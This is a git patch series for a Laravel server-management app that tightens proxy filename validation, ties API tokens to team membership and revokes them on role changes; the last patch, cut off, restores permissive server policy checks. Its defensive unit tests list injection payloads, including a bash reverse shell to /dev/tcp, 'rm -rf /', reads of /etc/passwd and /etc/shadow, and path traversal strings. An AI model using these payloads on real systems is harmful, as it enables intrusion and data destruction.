From 419593e7d485c1222d0b75b74d7de5b708901aae Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 1 Jun 2026 15:14:28 +0200 Subject: [PATCH 1/4] fix(proxy): tighten config validation --- .../Proxy/DynamicConfigurationNavbar.php | 7 +- .../Server/Proxy/NewDynamicConfiguration.php | 3 +- app/Policies/ServerPolicy.php | 26 ++++---- tests/Unit/ProxyConfigurationSecurityTest.php | 52 +++++++++++---- tests/Unit/ServerPolicyAuthorizationTest.php | 66 +++++++++++++++++++ 5 files changed, 121 insertions(+), 33 deletions(-) create mode 100644 tests/Unit/ServerPolicyAuthorizationTest.php diff --git a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php index c67591cf5..20d14ddc7 100644 --- a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php +++ b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php @@ -28,12 +28,11 @@ class DynamicConfigurationNavbar extends Component // Decode filename: pipes are used to encode dots for Livewire property binding // (e.g., 'my|service.yaml' -> 'my.service.yaml') - // This must happen BEFORE validation because validateShellSafePath() correctly - // rejects pipe characters as dangerous shell metacharacters + // This must happen BEFORE validation because validateFilenameSafe() + // rejects pipe characters through validateShellSafePath(). $file = str_replace('|', '.', $fileName); - // Validate filename to prevent command injection - validateShellSafePath($file, 'proxy configuration filename'); + validateFilenameSafe($file, 'proxy configuration filename'); if ($proxy_type === 'CADDY' && $file === 'Caddyfile') { $this->dispatch('error', 'Cannot delete Caddyfile.'); diff --git a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php index 31a1dfc7e..481d89c78 100644 --- a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php +++ b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php @@ -43,8 +43,7 @@ class NewDynamicConfiguration extends Component 'value' => 'required', ]); - // Additional security validation to prevent command injection - validateShellSafePath($this->fileName, 'proxy configuration filename'); + validateFilenameSafe($this->fileName, 'proxy configuration filename'); if (data_get($this->parameters, 'server_uuid')) { $this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first(); diff --git a/app/Policies/ServerPolicy.php b/app/Policies/ServerPolicy.php index 6d2396a7d..659598139 100644 --- a/app/Policies/ServerPolicy.php +++ b/app/Policies/ServerPolicy.php @@ -28,8 +28,7 @@ class ServerPolicy */ public function create(User $user): bool { - // return $user->isAdmin(); - return true; + return $user->isAdmin(); } /** @@ -37,8 +36,7 @@ class ServerPolicy */ public function update(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); } /** @@ -46,8 +44,7 @@ class ServerPolicy */ public function delete(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); } /** @@ -71,8 +68,7 @@ class ServerPolicy */ public function manageProxy(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); } /** @@ -80,8 +76,7 @@ class ServerPolicy */ public function manageSentinel(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); } /** @@ -89,8 +84,7 @@ class ServerPolicy */ public function manageCaCertificate(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); } /** @@ -98,7 +92,11 @@ class ServerPolicy */ public function viewSecurity(User $user, Server $server): bool { - // return $user->isAdmin() && $user->teams->contains('id', $server->team_id); - return true; + return $this->canManageServer($user, $server); + } + + private function canManageServer(User $user, Server $server): bool + { + return $user->isAdmin() && $user->teams->contains('id', $server->team_id); } } diff --git a/tests/Unit/ProxyConfigurationSecurityTest.php b/tests/Unit/ProxyConfigurationSecurityTest.php index 72c5e4c3a..4bcb70361 100644 --- a/tests/Unit/ProxyConfigurationSecurityTest.php +++ b/tests/Unit/ProxyConfigurationSecurityTest.php @@ -12,43 +12,69 @@ * - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php */ test('proxy configuration rejects command injection in filename with command substitution', function () { - expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with semicolon', function () { - expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with pipe', function () { - expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with backticks', function () { - expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with ampersand', function () { - expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects command injection with redirect operators', function () { - expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename')) ->toThrow(Exception::class); - expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename')) ->toThrow(Exception::class); }); test('proxy configuration rejects reverse shell payload', function () { - expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename')) ->toThrow(Exception::class); }); +test('proxy configuration rejects path traversal filenames', function (string $filename) { + expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename')) + ->toThrow(Exception::class); +})->with([ + '../VICTIM_FILE', + '../../etc/shadow', + '/etc/passwd', + 'subdir/config.yaml', + 'subdir\\config.yaml', + 'config..yaml', + "config.yaml\0../../etc/passwd", +]); + +test('dynamic proxy components use filename-safe validation', function () { + $deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php'); + $createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php'); + + expect($deleteComponent) + ->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')") + ->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')"); + + expect($createComponent) + ->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')") + ->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')"); +}); + test('proxy configuration escapes filenames properly', function () { $filename = "config'test.yaml"; $escaped = escapeshellarg($filename); @@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () { }); test('proxy configuration accepts legitimate Traefik filenames', function () { - expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename')) ->not->toThrow(Exception::class); }); test('proxy configuration accepts legitimate Caddy filenames', function () { - expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename')) ->not->toThrow(Exception::class); - expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename')) + expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename')) ->not->toThrow(Exception::class); }); diff --git a/tests/Unit/ServerPolicyAuthorizationTest.php b/tests/Unit/ServerPolicyAuthorizationTest.php new file mode 100644 index 000000000..97b8adbc6 --- /dev/null +++ b/tests/Unit/ServerPolicyAuthorizationTest.php @@ -0,0 +1,66 @@ +setRawAttributes(['id' => $teamId], true); + $team->setRelation('pivot', new Pivot(['role' => $role])); + + $user = new User; + $user->setRelation('teams', collect([$team])); + $user->setRelation('pivot', new Pivot(['role' => $role])); + + return $user; +} + +function serverPolicyServer(int $teamId): Server +{ + $server = new Server; + $server->setRawAttributes(['team_id' => $teamId], true); + + return $server; +} + +test('server members cannot update or manage servers', function () { + $policy = new ServerPolicy; + $member = userWithServerRole(1, 'member'); + $server = serverPolicyServer(1); + + expect($policy->update($member, $server))->toBeFalse() + ->and($policy->create($member))->toBeFalse() + ->and($policy->delete($member, $server))->toBeFalse() + ->and($policy->manageProxy($member, $server))->toBeFalse() + ->and($policy->manageSentinel($member, $server))->toBeFalse() + ->and($policy->manageCaCertificate($member, $server))->toBeFalse() + ->and($policy->viewSecurity($member, $server))->toBeFalse(); +}); + +test('server admins can update and manage servers in their team', function (string $role) { + $policy = new ServerPolicy; + $admin = userWithServerRole(1, $role); + $server = serverPolicyServer(1); + + expect($policy->update($admin, $server))->toBeTrue() + ->and($policy->create($admin))->toBeTrue() + ->and($policy->delete($admin, $server))->toBeTrue() + ->and($policy->manageProxy($admin, $server))->toBeTrue() + ->and($policy->manageSentinel($admin, $server))->toBeTrue() + ->and($policy->manageCaCertificate($admin, $server))->toBeTrue() + ->and($policy->viewSecurity($admin, $server))->toBeTrue(); +})->with(['admin', 'owner']); + +test('server admins cannot update servers outside their team', function () { + $policy = new ServerPolicy; + $admin = userWithServerRole(2, 'admin'); + $server = serverPolicyServer(1); + + expect($policy->update($admin, $server))->toBeFalse() + ->and($policy->delete($admin, $server))->toBeFalse() + ->and($policy->manageProxy($admin, $server))->toBeFalse(); +}); From a511bd9b67868848c8d70bed9b8f9ff5c8a18bbc Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 1 Jun 2026 15:17:55 +0200 Subject: [PATCH 2/4] fix(api): validate token team context --- app/Actions/User/DeleteUserTeams.php | 3 + app/Actions/User/RevokeUserTeamTokens.php | 43 ++++++ app/Http/Kernel.php | 2 + .../EnsureTokenBelongsToCurrentTeamMember.php | 37 +++++ app/Livewire/Team/Member.php | 14 +- app/Mcp/Concerns/ResolvesTeam.php | 10 +- app/Models/Team.php | 3 + app/Models/User.php | 4 + app/Traits/DeletesUserSessions.php | 2 + bootstrap/helpers/api.php | 37 +++-- routes/ai.php | 2 +- routes/api.php | 4 +- .../ApiTokenTeamLifecycleSecurityTest.php | 128 ++++++++++++++++++ tests/Feature/Mcp/McpEndpointTest.php | 11 ++ 14 files changed, 277 insertions(+), 23 deletions(-) create mode 100644 app/Actions/User/RevokeUserTeamTokens.php create mode 100644 app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php create mode 100644 tests/Feature/ApiTokenTeamLifecycleSecurityTest.php diff --git a/app/Actions/User/DeleteUserTeams.php b/app/Actions/User/DeleteUserTeams.php index d572db9e7..b2b06e7ba 100644 --- a/app/Actions/User/DeleteUserTeams.php +++ b/app/Actions/User/DeleteUserTeams.php @@ -137,9 +137,11 @@ class DeleteUserTeams // Update the new owner's role to owner $team->members()->updateExistingPivot($newOwner->id, ['role' => 'owner']); + RevokeUserTeamTokens::forUserTeam($newOwner, $team->id); // Remove the current user from the team $team->members()->detach($this->user->id); + RevokeUserTeamTokens::forUserTeam($this->user, $team->id); $counts['transferred']++; } catch (\Exception $e) { @@ -152,6 +154,7 @@ class DeleteUserTeams foreach ($preview['to_leave'] as $team) { try { $team->members()->detach($this->user->id); + RevokeUserTeamTokens::forUserTeam($this->user, $team->id); $counts['left']++; } catch (\Exception $e) { \Log::error("Failed to remove user from team {$team->id}: ".$e->getMessage()); diff --git a/app/Actions/User/RevokeUserTeamTokens.php b/app/Actions/User/RevokeUserTeamTokens.php new file mode 100644 index 000000000..9aadf1eeb --- /dev/null +++ b/app/Actions/User/RevokeUserTeamTokens.php @@ -0,0 +1,43 @@ +where('tokenable_id', self::userId($user)) + ->where('team_id', $teamId) + ->delete(); + } + + public static function forUser(User|int $user): int + { + return self::baseQuery() + ->where('tokenable_id', self::userId($user)) + ->delete(); + } + + public static function forTeam(int|string $teamId): int + { + return self::baseQuery() + ->where('team_id', $teamId) + ->delete(); + } + + private static function baseQuery(): Builder + { + return PersonalAccessToken::query() + ->where('tokenable_type', User::class); + } + + private static function userId(User|int $user): int + { + return $user instanceof User ? $user->id : $user; + } +} diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php index a584bc111..02a49aaa8 100644 --- a/app/Http/Kernel.php +++ b/app/Http/Kernel.php @@ -12,6 +12,7 @@ use App\Http\Middleware\CheckForcePasswordReset; use App\Http\Middleware\DecideWhatToDoWithUser; use App\Http\Middleware\EncryptCookies; use App\Http\Middleware\EnsureMcpEnabled; +use App\Http\Middleware\EnsureTokenBelongsToCurrentTeamMember; use App\Http\Middleware\PreventRequestsDuringMaintenance; use App\Http\Middleware\RedirectIfAuthenticated; use App\Http\Middleware\TrimStrings; @@ -104,6 +105,7 @@ class Kernel extends HttpKernel 'ability' => CheckForAnyAbility::class, 'api.ability' => ApiAbility::class, 'api.sensitive' => ApiSensitiveData::class, + 'api.token.team' => EnsureTokenBelongsToCurrentTeamMember::class, 'can.create.resources' => CanCreateResources::class, 'can.update.resource' => CanUpdateResource::class, 'can.access.terminal' => CanAccessTerminal::class, diff --git a/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php new file mode 100644 index 000000000..7c858b38b --- /dev/null +++ b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php @@ -0,0 +1,37 @@ +user(); + $token = $user?->currentAccessToken(); + $teamId = $token?->team_id; + + if (! $user || ! $token || is_null($teamId)) { + return response()->json(['message' => 'Invalid token.'], 401); + } + + $team = $user->teams() + ->where('teams.id', $teamId) + ->first(); + + if (! $team) { + return response()->json(['message' => 'Invalid token.'], 401); + } + + $role = $team->pivot?->role; + if (($token->can('root') || $token->can('write') || $token->can('write:sensitive')) + && ! in_array($role, ['admin', 'owner'], true)) { + return response()->json(['message' => 'Missing required team role.'], 403); + } + + return $next($request); + } +} diff --git a/app/Livewire/Team/Member.php b/app/Livewire/Team/Member.php index b1f692365..97d492d70 100644 --- a/app/Livewire/Team/Member.php +++ b/app/Livewire/Team/Member.php @@ -2,6 +2,7 @@ namespace App\Livewire\Team; +use App\Actions\User\RevokeUserTeamTokens; use App\Enums\Role; use App\Models\User; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -23,7 +24,9 @@ class Member extends Component || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::ADMIN->value]); + $teamId = currentTeam()->id; + $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::ADMIN->value]); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -39,7 +42,9 @@ class Member extends Component || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::OWNER->value]); + $teamId = currentTeam()->id; + $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::OWNER->value]); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -55,7 +60,9 @@ class Member extends Component || Role::from($this->getMemberRole())->gt(auth()->user()->role())) { throw new \Exception('You are not authorized to perform this action.'); } - $this->member->teams()->updateExistingPivot(currentTeam()->id, ['role' => Role::MEMBER->value]); + $teamId = currentTeam()->id; + $this->member->teams()->updateExistingPivot($teamId, ['role' => Role::MEMBER->value]); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); $this->dispatch('reloadWindow'); } catch (\Exception $e) { $this->dispatch('error', $e->getMessage()); @@ -73,6 +80,7 @@ class Member extends Component } $teamId = currentTeam()->id; $this->member->teams()->detach(currentTeam()); + RevokeUserTeamTokens::forUserTeam($this->member, $teamId); // Clear cache for the removed user - both old and new key formats Cache::forget("team:{$this->member->id}"); Cache::forget("user:{$this->member->id}:team:{$teamId}"); diff --git a/app/Mcp/Concerns/ResolvesTeam.php b/app/Mcp/Concerns/ResolvesTeam.php index f75219fcf..f6d82453a 100644 --- a/app/Mcp/Concerns/ResolvesTeam.php +++ b/app/Mcp/Concerns/ResolvesTeam.php @@ -28,8 +28,14 @@ trait ResolvesTeam protected function resolveTeamId(Request $request): ?int { - $token = $request->user()?->currentAccessToken(); + $user = $request->user(); + $token = $user?->currentAccessToken(); + $teamId = $token?->team_id; - return $token?->team_id; + if (! $user || is_null($teamId) || ! $user->teams()->where('teams.id', $teamId)->exists()) { + return null; + } + + return (int) $teamId; } } diff --git a/app/Models/Team.php b/app/Models/Team.php index 0fbcfe0c6..f0a50cf69 100644 --- a/app/Models/Team.php +++ b/app/Models/Team.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Actions\User\RevokeUserTeamTokens; use App\Events\ServerReachabilityChanged; use App\Notifications\Channels\SendsDiscord; use App\Notifications\Channels\SendsEmail; @@ -72,6 +73,8 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen }); static::deleting(function (Team $team) { + RevokeUserTeamTokens::forTeam($team->id); + foreach ($team->privateKeys as $key) { $key->delete(); } diff --git a/app/Models/User.php b/app/Models/User.php index cefdf3d3e..9cbe88835 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -2,6 +2,7 @@ namespace App\Models; +use App\Actions\User\RevokeUserTeamTokens; use App\Jobs\UpdateStripeCustomerEmailJob; use App\Notifications\Channels\SendsEmail; use App\Notifications\TransactionalEmails\EmailChangeVerification; @@ -121,6 +122,8 @@ class User extends Authenticatable implements SendsEmail static::deleting(function (User $user) { \DB::transaction(function () use ($user) { + RevokeUserTeamTokens::forUser($user); + $teams = $user->teams; foreach ($teams as $team) { $user_alone_in_team = $team->members->count() === 1; @@ -158,6 +161,7 @@ class User extends Authenticatable implements SendsEmail if ($found_other_member_who_is_not_owner) { $found_other_member_who_is_not_owner->pivot->role = 'owner'; $found_other_member_who_is_not_owner->pivot->save(); + RevokeUserTeamTokens::forUserTeam($found_other_member_who_is_not_owner, $team->id); $team->members()->detach($user->id); } else { static::finalizeTeamDeletion($user, $team); diff --git a/app/Traits/DeletesUserSessions.php b/app/Traits/DeletesUserSessions.php index e9ec0d946..44ff5f727 100644 --- a/app/Traits/DeletesUserSessions.php +++ b/app/Traits/DeletesUserSessions.php @@ -2,6 +2,7 @@ namespace App\Traits; +use App\Actions\User\RevokeUserTeamTokens; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Session; @@ -17,6 +18,7 @@ trait DeletesUserSessions Session::invalidate(); Session::regenerateToken(); DB::table('sessions')->where('user_id', $this->id)->delete(); + RevokeUserTeamTokens::forUser($this->id); } /** diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 4b76200d2..85703365d 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -3,15 +3,22 @@ use App\Enums\BuildPackTypes; use App\Enums\RedirectTypes; use App\Enums\StaticImageTypes; +use App\Support\ValidationPatterns; use Illuminate\Database\Eloquent\Collection; use Illuminate\Http\Request; use Illuminate\Validation\Rule; function getTeamIdFromToken() { - $token = auth()->user()->currentAccessToken(); + $user = auth()->user(); + $token = $user?->currentAccessToken(); + $teamId = data_get($token, 'team_id'); - return data_get($token, 'team_id'); + if (! $user || is_null($teamId) || ! $user->teams()->where('teams.id', $teamId)->exists()) { + return null; + } + + return $teamId; } function invalidTokenResponse() { @@ -95,14 +102,14 @@ function sharedDataApplications() 'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'docker_registry_image_name' => 'string|nullable', 'docker_registry_image_tag' => 'string|nullable', - 'install_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'install_command' => ValidationPatterns::shellSafeCommandRules(), + 'build_command' => ValidationPatterns::shellSafeCommandRules(), + 'start_command' => ValidationPatterns::shellSafeCommandRules(), 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', - 'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(), - 'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(), + 'base_directory' => ValidationPatterns::directoryPathRules(), + 'publish_directory' => ValidationPatterns::directoryPathRules(), 'health_check_enabled' => 'boolean', 'health_check_type' => 'string|in:http,cmd', 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], @@ -125,24 +132,24 @@ function sharedDataApplications() 'limits_cpuset' => 'string|nullable', 'limits_cpu_shares' => 'numeric', 'custom_labels' => 'string|nullable', - 'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000), + 'custom_docker_run_options' => ValidationPatterns::shellSafeCommandRules(2000), // Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate"). // Access is gated by API token authentication. Commands run inside the app container, not the host. 'post_deployment_command' => 'string|nullable', - 'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), + 'post_deployment_command_container' => ValidationPatterns::containerNameRules(), 'pre_deployment_command' => 'string|nullable', - 'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), + 'pre_deployment_command_container' => ValidationPatterns::containerNameRules(), 'manual_webhook_secret_github' => 'string|nullable', 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(), - 'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(), - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'dockerfile_location' => ValidationPatterns::filePathRules(), + 'dockerfile_target_build' => ValidationPatterns::dockerTargetRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', - 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_start_command' => ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_build_command' => ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', 'is_preserve_repository_enabled' => 'boolean', ]; diff --git a/routes/ai.php b/routes/ai.php index 7d3a858c5..3a39677ff 100644 --- a/routes/ai.php +++ b/routes/ai.php @@ -4,4 +4,4 @@ use App\Mcp\Servers\CoolifyServer; use Laravel\Mcp\Facades\Mcp; Mcp::web('/mcp', CoolifyServer::class) - ->middleware(['mcp.enabled', 'auth:sanctum']); + ->middleware(['mcp.enabled', 'auth:sanctum', 'api.token.team']); diff --git a/routes/api.php b/routes/api.php index fb3b4bad6..ec6bde2e6 100644 --- a/routes/api.php +++ b/routes/api.php @@ -29,7 +29,7 @@ Route::post('/feedback', [OtherController::class, 'feedback']) ->middleware('throttle:feedback'); Route::group([ - 'middleware' => ['auth:sanctum', 'api.ability:write'], + 'middleware' => ['auth:sanctum', 'api.token.team', 'api.ability:write'], 'prefix' => 'v1', ], function () { Route::get('/enable', [OtherController::class, 'enable_api']); @@ -38,7 +38,7 @@ Route::group([ Route::post('/mcp/disable', [OtherController::class, 'disable_mcp']); }); Route::group([ - 'middleware' => ['auth:sanctum', ApiAllowed::class, 'api.sensitive'], + 'middleware' => ['auth:sanctum', 'api.token.team', ApiAllowed::class, 'api.sensitive'], 'prefix' => 'v1', ], function () { diff --git a/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php b/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php new file mode 100644 index 000000000..d5ab83af0 --- /dev/null +++ b/tests/Feature/ApiTokenTeamLifecycleSecurityTest.php @@ -0,0 +1,128 @@ + InstanceSettings::query()->create([ + 'id' => 0, + 'is_api_enabled' => true, + ])); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'admin']); + session(['currentTeam' => $this->team]); +}); + +function bearerJson(string $token): array +{ + return [ + 'Authorization' => 'Bearer '.$token, + 'Content-Type' => 'application/json', + ]; +} + +test('removed member token cannot read team projects', function () { + Project::create(['name' => 'Secret', 'team_id' => $this->team->id]); + $token = $this->user->createToken('read-token', ['read'])->plainTextToken; + + $this->team->members()->detach($this->user->id); + + $this->withHeaders(bearerJson($token)) + ->getJson('/api/v1/projects') + ->assertUnauthorized(); +}); + +test('removed member token cannot create team projects', function () { + $token = $this->user->createToken('write-token', ['write'])->plainTextToken; + + $this->team->members()->detach($this->user->id); + + $this->withHeaders(bearerJson($token)) + ->postJson('/api/v1/projects', ['name' => 'Should Not Exist']) + ->assertUnauthorized(); + + expect(Project::where('name', 'Should Not Exist')->exists())->toBeFalse(); +}); + +test('downgraded member old write token cannot create team projects', function () { + $token = $this->user->createToken('write-token', ['write'])->plainTextToken; + + $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']); + + $this->withHeaders(bearerJson($token)) + ->postJson('/api/v1/projects', ['name' => 'Downgrade Bypass']) + ->assertForbidden(); + + expect(Project::where('name', 'Downgrade Bypass')->exists())->toBeFalse(); +}); + +test('admin removal through team member component revokes team tokens', function () { + $owner = User::factory()->create(); + $this->team->members()->attach($owner->id, ['role' => 'owner']); + $token = $this->user->createToken('read-token', ['read'])->accessToken; + + $this->actingAs($owner); + session(['currentTeam' => $this->team]); + + Livewire::test(Member::class, ['member' => $this->user]) + ->call('remove'); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); + +test('role downgrade through team member component revokes team tokens', function () { + $owner = User::factory()->create(); + $this->team->members()->attach($owner->id, ['role' => 'owner']); + $token = $this->user->createToken('write-token', ['write'])->accessToken; + + $this->actingAs($owner); + session(['currentTeam' => $this->team]); + + Livewire::test(Member::class, ['member' => $this->user]) + ->call('makeReadonly'); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); + +test('member cannot create write token through livewire token form', function () { + $this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + Livewire::test(ApiTokens::class) + ->set('description', 'member-write-token') + ->set('expiresInDays', 30) + ->set('permissions', ['write']) + ->call('addNewToken'); + + expect($this->user->tokens()->where('name', 'member-write-token')->exists())->toBeFalse(); +}); + +test('password change revokes user personal access tokens', function () { + $token = $this->user->createToken('read-token', ['read'])->accessToken; + + $this->user->forceFill(['password' => Hash::make('new-password')])->save(); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); + +test('team deletion revokes team bound personal access tokens', function () { + $token = $this->user->createToken('read-token', ['read'])->accessToken; + + $this->team->delete(); + + expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse(); +}); diff --git a/tests/Feature/Mcp/McpEndpointTest.php b/tests/Feature/Mcp/McpEndpointTest.php index 34ae493cc..ae0101547 100644 --- a/tests/Feature/Mcp/McpEndpointTest.php +++ b/tests/Feature/Mcp/McpEndpointTest.php @@ -192,3 +192,14 @@ test('tool calls fail when the token lacks the read ability', function () { expect($response->json('result.isError'))->toBeTrue(); expect($response->json('result.content.0.text'))->toContain('Missing required permissions'); }); + +test('MCP rejects token when user no longer belongs to token team', function () { + Project::create(['name' => 'Hidden', 'team_id' => $this->team->id]); + $token = $this->user->createToken('mcp-read', ['read'])->plainTextToken; + + $this->team->members()->detach($this->user->id); + + $response = mcpCallTool($token, 'list_projects'); + + $response->assertUnauthorized(); +}); From 51894d9c05dea872cffe79c61ed4d0f08f863f1e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 2 Jun 2026 10:57:14 +0200 Subject: [PATCH 3/4] chore: defer server policy changes --- app/Policies/ServerPolicy.php | 26 ++++---- tests/Unit/ServerPolicyAuthorizationTest.php | 66 -------------------- 2 files changed, 14 insertions(+), 78 deletions(-) delete mode 100644 tests/Unit/ServerPolicyAuthorizationTest.php diff --git a/app/Policies/ServerPolicy.php b/app/Policies/ServerPolicy.php index 659598139..6d2396a7d 100644 --- a/app/Policies/ServerPolicy.php +++ b/app/Policies/ServerPolicy.php @@ -28,7 +28,8 @@ class ServerPolicy */ public function create(User $user): bool { - return $user->isAdmin(); + // return $user->isAdmin(); + return true; } /** @@ -36,7 +37,8 @@ class ServerPolicy */ public function update(User $user, Server $server): bool { - return $this->canManageServer($user, $server); + // return 